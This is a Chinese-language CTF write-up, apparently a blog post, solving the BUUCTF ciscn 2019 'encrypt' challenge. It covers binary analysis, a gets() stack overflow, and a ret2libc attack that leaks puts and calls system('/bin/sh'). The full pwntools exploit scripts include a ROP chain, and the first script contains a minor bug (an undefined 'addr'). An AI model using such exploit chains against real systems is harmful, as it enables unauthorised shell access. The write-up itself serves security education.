0.环境
Ubantu-22.04.4
1. 查看文件格式
终端中输入命令
checksec --file='filename' # filename为下载文件的自定义名称
输出结果为
没开canary保护,开了NX
终端中输入命令
file 'filename'
输出为
64位,放到ida64里反编译
2.IDA分析程序
1.main函数
没什么能构造溢出的函数。再看看encrypt和begin函数
2.begin函数
也没有构造溢出的函数,但是有很多puts,很好后面ret2libc可以用
3.encrypt函数
有gets了,nice。gets栈大小为50h
while循环为加密字符串的过程,为了避免payload被加密而产生变化,需要在开头加上'\0'
4.查看字符串和函数列表
按”shift+F12“查看字符串
没有‘system’,‘bin/sh’等有用的字符串,函数列表里也没有system等后门函数
3. 分析思路
该程序中并没有system,bin/sh等有用的字符串,无法使用ret2text
没有调用system函数,无法使用ret2syscall
只能用ret2libc
通过已经调用过的函数泄露它在程序中的地址,然后利用地址末尾的3个字节,在https://libc.blukat.me找到该程序所用的libc版本
程序函数地址=加载程序的基址+libc中函数偏移量
想办法通过encrypt函数的 get函数栈溢出获得其中一个函数的地址(本题选择puts),通过LibcSearcher得到该函数在对应libc中的偏移量
即可得到加载程序的基址
4.构造exp
64位先使用寄存器RDI、RSI、RDX、RCX、R8、R9进行传参,如果多于6个参数,则再使用栈进行传参
直接上脚本
from pwn import*
from LibcSearcher import *
r=remote('') # 填自己的端口号
elf=ELF("filename") # 填自己的文件名
main_addr=0x400B28
rdi=0x400c83
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
r.sendlineafter(b'Input your choice!\n', b'1')
offset = 0x50+8-1
payload = b'\0' + b"a" * offset+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
r.sendlineafter(b'Input your Plaintext to be encrypted\n', payload)
r.recvuntil("Ciphertext\n")
r.recvuntil("\n")
puts_addr=u64(r.recv(6).ljust(0x8,b"\x00"))
libc=LibcSearcher("puts",puts_addr)
libcbase=addr-libc.dump("puts")
print(libcbase)
解释一下上面的脚本
main_addr:通过IDA64即可查看main函数的起始地址为0x400B28
rdi:可通过使用ROPgadget工具进行查找,可得地址为 0x400c83
ROPgadget --binary 'filename' |grep "pop rdi" # filename填自己的文件名
puts_plt,puts_got:通过ELF程序获取
综合前文IDA分析的结果,第一个payload的结构为
payload = b'\0' + b"a" * offset + p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
使用 puts_addr=u64(r.recv(6).ljust(0x8,b"\x00")) 接收puts函数的地址
得到puts函数的地址后,使用LibcSearcher查询对应的libc版本
libc=LibcSearcher("puts",puts_addr)
运行结果为
得到基地址
接下来继续构造 ,直接上最终脚本
#encoding = utf-8
from pwn import*
from LibcSearcher import *
r=remote('') #填自己的端口号
elf=ELF("") #填自己的文件名
main_addr=0x400B28
rdi=0x400c83
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
r.sendlineafter(b'Input your choice!\n', b'1')
offset = 0x50+8-1
payload = b'\0' + b"a" * offset+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
r.sendlineafter(b'Input your Plaintext to be encrypted\n', payload)
r.recvuntil("Ciphertext\n")
r.recvuntil("\n")
puts_addr=u64(r.recv(6).ljust(0x8,b"\x00"))
libc=LibcSearcher("puts",puts_addr)
libcbase=puts_addr-libc.dump("puts")
print(libcbase)
r.recv()
r.sendline(b"1")
r.recvuntil(b"encrypted\n")
sys_addr=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
ret=0x4006b9
p1=b'\0' + b"a" * offset + p64(ret)+p64(rdi)+p64(bin_sh)+p64(sys_addr)
r.sendline(p1)
r.interactive()
通过 程序函数地址=加载程序的及地址+libc中函数偏移量 可以计算加载程序的基址,通过基址和各个函数以及字符串的偏移量可以计算各个函数以及字符串在程序中的地址,如下:
sys_addr=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
对于调用system函数,需要考虑堆栈平衡。使用ret指令来实现堆栈平衡(ret指令执行之前会自动进行堆栈平衡操作)
p1=b'\0' + b"a" * offset
payload += p64(ret)) #堆栈平衡
payload += p64(rdi) #将system函数的参数保存到rdi中
payload += p64(bin_sh) #pop指令的执行的操作数
payload += p64(sys_addr) #调用system函数获得shell
运行结果为
标签:BUUCTF,addr,puts,p64,函数,libc,2019,payload,ciscn From: https://blog.csdn.net/Lucien_Carr/article/details/137481503